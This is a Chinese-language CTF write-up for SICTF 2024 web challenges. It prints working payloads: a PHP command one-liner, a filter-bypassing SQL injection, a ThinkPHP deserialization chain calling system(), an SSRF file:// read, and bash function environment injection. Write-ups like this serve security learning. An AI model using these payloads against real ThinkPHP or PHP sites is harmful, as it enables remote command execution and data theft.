SICTF 2024

100％_upload

<?=`cat /flag`?>

hacker

跑了一遍字典，发现注入的东西有很多，空格、or、and，但是没有禁用union和select

那就很明显了，联合查询user()发现最高权限是root，然后我就试试能不能读取文件，发现load_file可以读取\

<?php
echo "<!--flag在flag表里-->";
echo "<br>";
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "ctf";

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
$username=strtolower($_GET['username']);
$sensitive_keywords = array(" ","handler", "like", "or", "-~", "--", "--+", "information", "xor", "and", ";", "&", "|", "order", "floor","sys_tables","sys_columns","sys.schema_table_statistics_with_buffer","sys.schema_table_statistics","mid", "ascii");

// 检查参数中是否包含敏感关键词
foreach ($sensitive_keywords as $keyword) {
    if (strpos($username, $keyword) !== false) {
        // 如果参数中包含敏感关键词，弹窗提示用户
        die("<script>alert('hacker');</script>");
        // 可以选择终止脚本执行或者做其他处理
        exit;
    }
}
$sql="select id from flag where id='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    // 输出每一行记录的 love 字段值
    while($row = $result->fetch_assoc()) {
        echo "          " . $row["id"] . "<br>";
    }
} else {
    echo "0 结果";
}
// echo $result->num_rows;
// 关闭数据库连接
$conn->close();
?>

根据它这个表里面的过滤信息，我们直接无列名注入即可
payload:

http://yuanshen.life:35522/?username=alice'union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a%23

Oyst3rPHP

扫描目录可以得到一个www.zip

由于这是thinkphp框架写的，所以网站的首页是在app----controller目录里

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{

    public function index()
    {
		echo "RT，一个很简单的Web，给大家送一点分,再送三只生蚝，过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";

  
		$payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
  
		$key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
  
			echo "Congratulations on getting your first oyster";
			echo "<img src='../Oyster1.png'"."/>";
  
			if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("！！！Oysters don't want you to eat！！！");
            }

			echo "WOW！！！Congratulations on getting your second oyster";
			echo "<img src='../Oyster2.png'"."/>";
  
			@unserialize($payload);
			//最后一个生蚝在根目录，而且里面有Flag？？？咋样去找到它呢？？？它的名字是什么？？？
			//在源码的某处注释给出了提示，这就看你是不是真懂Oyst3rphp框架咯！！！
			//小Tips：细狗函数┗|｀O′|┛ 嗷~~
        }
    }

	public function doLogin()
    {
    /*emmm我也不知道这是what，瞎写的*/
        if ($this->request->isPost()) {
            $username = $this->request->post('username');
            $password = $this->request->post('password');

   
            if ($username == 'your_username' && $password == 'your_password') {
  
                $this->success('Login successful', 'index/index');
            } else {
    
                $this->error('Login failed');
            }
        }
    }



}

很简单的逻辑，就是md5弱比较、正则回溯，然后反序列化而已

序列化的链子直接摘抄网上的就行了

<?php
 namespace think\model\concern;
 trait Attribute
 {
     private $data = ["key"=>"cat /Oyst3333333r.php"];
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use model\concern\Attribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){
         $this->name=$obj;
     }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo base64_encode(serialize($b));

import requests
pay = "TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"
url = "http://yuanshen.life:37346/?left=s1885207154a&right=s1502113478a"
data = {
    "key":"a"*1000000+"603THINKPHP",
    "payload":pay
}
res = requests.post(url=url,data=data)
print(res.text)

EZ_SSRF

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($_GET['Harder'])) {
    unserialize($_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?>

很简单的一道题，反序列化然后通过ssrf漏洞直接读取flag.php文件

<?php
class client{
    public $url;
    public $payload;
}
$a = new client;
$a->url = "file:///var/www/html/flag.php";
echo serialize($a);
?>

这里应该算是一个小小的非预期吧，因为出题人的目的应该是在admin.php里

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
    die("You can't get flag");
} else {
    echo $flag;
}
?>

Not just unserialize

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?>

php反序列化，先找到入口点

statr---->destruct----->begin0fweb----->SE----->set---->tostring------>isset

根据上面的链子编写exp

<?php
class start
{
    public $welcome;
    public $you;
}

class SE{
    public $year;
}

class CR {
    public $last;
    public $newyear;
}

class ET{
}
$s = new start;
$s->welcome = new SE;
$s->welcome->year = new CR;
#这里大小写绕过一下
$s->welcome->year->newyear = "Worries";
$s->welcome->year->last = new ET;
echo base64_encode(serialize($s));
?>

成功的来到了这里，接下来就是一个老生常谈的一个考点了，环境变量注入

p牛的文章狠狠的推荐一遍

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

最后的payload

http://yuanshen.life:39676/?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30&get[BASH_FUNC_echo%25%25]=()%20{%20cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg;%20}

还有两题Java，比赛到后面的时候也没时间去解了，跑去看vnctf了